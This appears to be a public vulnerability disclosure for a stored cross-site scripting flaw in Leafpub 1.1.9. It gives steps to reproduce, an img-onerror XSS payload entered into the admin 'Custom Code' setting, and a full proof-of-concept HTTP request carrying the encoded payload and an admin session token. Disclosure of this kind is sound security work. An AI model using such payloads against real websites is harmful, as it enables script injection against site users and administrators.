Leafpub 1.1.9 - Stored XSS Vulnerability

# Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://github.com/Leafpub
# Software Link: https://github.com/Leafpub/leafpub
# Version: 1.1.9
# Tested on: MacOS

### Steps to Reproduce ###

- Please login from this address: http://localhost/leafpub/admin/login
- Click on the Settings > Advanced
- Enter the following payload into the "Custom Code" area and save it: ("><img
src=x onerror=alert("Stored")>)
- An alert message saying "Stored" will appear in front of you.

### PoC Request ###

POST /leafpub/api/settings HTTP/1.1
Host: localhost
Cookie:
authToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTM5NjQ2MTcsImV4cCI6MTcxMzk2ODIxNywiZGF0YSI6eyJ1c2VybmFtZSI6ImFkbWluIn19.967N5NYdUKxv1sOXO_OTFiiLlm7sfgDWPXKX7iEZwlo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 476
Origin: http://localhost
Referer: http://localhost/leafpub/admin/settings
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

title=A+Leafpub+Blog&tagline=Go+forth+and+create!&homepage=&twitter=&theme=range&posts-per-page=10&cover=source%2Fassets%2Fimg%2Fleaves.jpg&logo=source%2Fassets%2Fimg%2Flogo-color.png&favicon=source%2Fassets%2Fimg%2Flogo-color.png&language=en-us&timezone=America%2FNew_York&default-title=Untitled+Post&default-content=Start+writing+here...&head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&foot-code=&generator=on&mailer=default&maintenance-message=&hbs-cache=on